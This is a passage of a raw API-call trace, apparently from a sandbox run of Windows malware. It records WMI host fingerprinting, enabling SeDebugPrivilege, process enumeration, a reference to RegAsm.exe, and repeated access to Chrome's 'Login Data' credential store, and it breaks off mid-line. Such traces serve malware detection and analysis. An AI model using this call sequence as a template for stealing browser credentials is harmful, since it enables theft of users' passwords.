ppvObject=0x3ced64*=0x573daa8) returned 0x0 [0191.077] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0191.077] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3ceeec*=0x0, pszText=0x0 | out: puBuffLength=0x3ceeec*=0xf, pszText=0x0) returned 0x0 [0191.077] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0191.077] CoGetContextToken (in: pToken=0x3ced2c | out: pToken=0x3ced2c) returned 0x0 [0191.077] CoGetContextToken (in: pToken=0x3cecec | out: pToken=0x3cecec) returned 0x0 [0191.077] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0191.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced68*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced64 | out: ppvObject=0x3ced64*=0x573daa8) returned 0x0 [0191.078] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0191.078] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3ceeec*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ceeec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0191.078] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0191.078] CoGetContextToken (in: pToken=0x3ced24 | out: pToken=0x3ced24) returned 0x0 [0191.078] CoGetContextToken (in: pToken=0x3cece4 | out: pToken=0x3cece4) returned 0x0 [0191.078] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0191.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced60*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced5c | out: ppvObject=0x3ced5c*=0x573daa8) returned 0x0 [0191.078] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0191.078] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573daa8, puCount=0x3ceed8 | out: puCount=0x3ceed8*=0x2) returned 0x0 [0191.078] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0191.078] CoGetContextToken (in: pToken=0x3ced14 | out: pToken=0x3ced14) returned 0x0 [0191.078] CoGetContextToken (in: pToken=0x3cecd4 | out: pToken=0x3cecd4) returned 0x0 [0191.078] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0191.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced50*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced4c | out: ppvObject=0x3ced4c*=0x573daa8) returned 0x0 [0191.078] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0191.078] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3ceed4*=0x0, pszText=0x0 | out: puBuffLength=0x3ceed4*=0xf, pszText=0x0) returned 0x0 [0191.078] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0191.079] CoGetContextToken (in: pToken=0x3ced14 | out: pToken=0x3ced14) returned 0x0 [0191.079] CoGetContextToken (in: pToken=0x3cecd4 | out: pToken=0x3cecd4) returned 0x0 [0191.079] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0191.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced50*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced4c | out: ppvObject=0x3ced4c*=0x573daa8) returned 0x0 [0191.079] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0191.079] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3ceed4*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ceed4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0191.079] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0191.080] IWbemClassObject:Get (in: This=0x5745c60, wszName="processorID", lFlags=0, pVal=0x3cee94*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2602234*=0, plFlavor=0x2602238*=0 | out: pVal=0x3cee94*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x2602234*=8, plFlavor=0x2602238*=0) returned 0x0 [0191.080] SysStringLen (param_1="0F8BFBFF00050654") returned 0x10 [0191.080] IWbemClassObject:Get (in: This=0x5745c60, wszName="processorID", lFlags=0, pVal=0x3cee98*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2602234*=8, plFlavor=0x2602238*=0 | out: pVal=0x3cee98*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x2602234*=8, plFlavor=0x2602238*=0) returned 0x0 [0191.080] SysStringLen (param_1="0F8BFBFF00050654") returned 0x10 [0191.080] CoGetContextToken (in: pToken=0x3cec6c | out: pToken=0x3cec6c) returned 0x0 [0191.080] IUnknown:AddRef (This=0x5745c24) returned 0x3 [0191.080] IEnumWbemClassObject:Next (in: This=0x5745c24, lTimeout=-1, uCount=0x1, apObjects=0x59f310, puReturned=0x260128c | out: apObjects=0x59f310*=0x0, puReturned=0x260128c*=0x0) returned 0x1 [0191.081] IUnknown:Release (This=0x5745c24) returned 0x2 [0191.082] CoGetContextToken (in: pToken=0x3cedc0 | out: pToken=0x3cedc0) returned 0x0 [0191.082] WbemLocator:IUnknown:Release (This=0x600d84) returned 0x1 [0191.082] IUnknown:Release (This=0x5745c24) returned 0x0 [0191.117] GetUserNameW (in: lpBuffer=0x5ec490, pcbBuffer=0x2602948 | out: lpBuffer="aETAdzjz", pcbBuffer=0x2602948) returned 1 [0191.119] GetComputerNameW (in: lpBuffer=0x5ec490, nSize=0x2602ba4 | out: lpBuffer="YKYD69Q", nSize=0x2602ba4) returned 1 [0191.121] GetEnvironmentVariableW (in: lpName="%startupfolder%", lpBuffer=0x5ec490, nSize=0x80 | out: lpBuffer="") returned 0x0 [0191.121] GetLastError () returned 0xcb [0206.442] GetUserNameW (in: lpBuffer=0x5ec490, pcbBuffer=0x2603d68 | out: lpBuffer="aETAdzjz", pcbBuffer=0x2603d68) returned 1 [0206.444] GetComputerNameW (in: lpBuffer=0x5ec490, nSize=0x2603fc4 | out: lpBuffer="YKYD69Q", nSize=0x2603fc4) returned 1 [0206.479] GetCurrentProcessId () returned 0x608 [0206.491] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x3ce790 | out: lpLuid=0x3ce790*(LowPart=0x14, HighPart=0)) returned 1 [0206.493] GetLastError () returned 0x0 [0206.494] GetCurrentProcess () returned 0xffffffff [0206.494] GetLastError () returned 0x0 [0206.496] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x3ce78c | out: TokenHandle=0x3ce78c*=0x324) returned 1 [0206.497] GetLastError () returned 0x0 [0206.500] AdjustTokenPrivileges (in: TokenHandle=0x324, DisableAllPrivileges=0, NewState=0x260699c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0206.500] GetLastError () returned 0x514 [0206.501] CloseHandle (hObject=0x324) returned 1 [0206.502] GetLastError () returned 0x514 [0206.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35b7eb8, Length=0x20000, ResultLength=0x3cef1c | out: SystemInformation=0x35b7eb8, ResultLength=0x3cef1c*=0x8420) returned 0x0 [0206.524] GetCurrentProcessId () returned 0x608 [0206.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35d7ed8, Length=0x20000, ResultLength=0x3cef1c | out: SystemInformation=0x35d7ed8, ResultLength=0x3cef1c*=0x8420) returned 0x0 [0206.531] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x3cea90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0206.531] GetLastError () returned 0x514 [0206.535] GetFullPathNameW (in: lpFileName="\\%insfolder%\\%insname%", nBufferLength=0x105, lpBuffer=0x3ceac4, lpFilePart=0x0 | out: lpBuffer="C:\\%insfolder%\\%insname%", lpFilePart=0x0) returned 0x18 [0206.535] GetLastError () returned 0x514 [0206.535] SetErrorMode (uMode=0x1) returned 0x0 [0206.536] GetFileAttributesExW (in: lpFileName="C:\\%insfolder%\\%insname%" (normalized: "c:\\%insfolder%\\%insname%"), fInfoLevelId=0x0, lpFileInformation=0x3cef44 | out: lpFileInformation=0x3cef44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0206.536] GetLastError () returned 0x3 [0206.536] SetErrorMode (uMode=0x0) returned 0x1 [0206.687] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0206.690] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3ce568, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0206.690] GetLastError () returned 0x3f0 [0206.719] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0206.719] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3ce538, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0206.719] GetLastError () returned 0x3f0 [0206.790] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", nBufferLength=0x105, lpBuffer=0x3ce51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", lpFilePart=0x0) returned 0x38 [0206.790] GetLastError () returned 0x3f0 [0206.791] SetErrorMode (uMode=0x1) returned 0x0 [0206.791] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce99c | out: lpFileInformation=0x3ce99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0206.793] GetLastError () returned 0x3f0 [0206.793] SetErrorMode (uMode=0x0) returned 0x1 [0206.793] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", nBufferLength=0x105, lpBuffer=0x3ce474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", lpFilePart=0x0) returned 0x38 [0206.793] GetLastError () returned 0x3f0 [0206.794] SetErrorMode (uMode=0x1) returned 0x0 [0206.797] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bf020 [0206.798] GetLastError () returned 0x3f0 [0206.799] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.800] GetLastError () returned 0x3f0 [0206.800] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0206.800] GetLastError () returned 0x3f0 [0206.800] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xae1bfc0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xae1bfc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0206.800] GetLastError () returned 0x3f0 [0206.800] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xadf5e60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xadf5e60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~1.PMA")) returned 1 [0206.800] GetLastError () returned 0x3f0 [0206.800] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb031300, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xe5b8cd0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xe5b8cd0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0206.800] GetLastError () returned 0x3f0 [0206.801] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0206.801] GetLastError () returned 0x3f0 [0206.801] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0206.801] GetLastError () returned 0x3f0 [0206.801] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb057460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb057460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb057460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0206.801] GetLastError () returned 0x3f0 [0206.801] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda67d40, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xda67d40, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xdcf1bb0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0206.801] GetLastError () returned 0x3f0 [0206.801] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0206.801] GetLastError () returned 0x3f0 [0206.802] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0206.802] GetLastError () returned 0x3f0 [0206.802] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc083690, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc083690, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc083690, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0206.802] GetLastError () returned 0x3f0 [0206.802] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0206.802] GetLastError () returned 0x3f0 [0206.802] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0206.802] GetLastError () returned 0x3f0 [0206.803] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0206.803] GetLastError () returned 0x3f0 [0206.803] FindNextFileW (in: hFindFile=0x5bf020, lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0206.803] GetLastError () returned 0x12 [0206.803] FindClose (in: hFindFile=0x5bf020 | out: hFindFile=0x5bf020) returned 1 [0206.804] SetErrorMode (uMode=0x0) returned 0x1 [0206.807] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce548, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.807] GetLastError () returned 0x12 [0206.807] SetErrorMode (uMode=0x1) returned 0x0 [0206.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9c8 | out: lpFileInformation=0x3ce9c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7c30, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc7c7c30, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc8aad00, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0206.810] GetLastError () returned 0x12 [0206.810] SetErrorMode (uMode=0x0) returned 0x1 [0206.838] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.838] GetLastError () returned 0x12 [0206.838] SetErrorMode (uMode=0x1) returned 0x0 [0206.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9b0 | out: lpFileInformation=0x3ce9b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7c30, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc7c7c30, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc8aad00, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0206.838] GetLastError () returned 0x12 [0206.838] SetErrorMode (uMode=0x0) returned 0x1 [0206.844] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce4d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.844] GetLastError () returned 0x12 [0206.844] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce468, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.844] GetLastError () returned 0x12 [0206.845] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.845] GetLastError () returned 0x12 [0206.845] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce448, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.845] GetLastError () returned 0x12 [0206.846] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x3ce47c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0206.846] GetLastError () returned 0x12 [0206.846] SetErrorMode (uMode=0x1) returned 0x0 [0206.846] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login 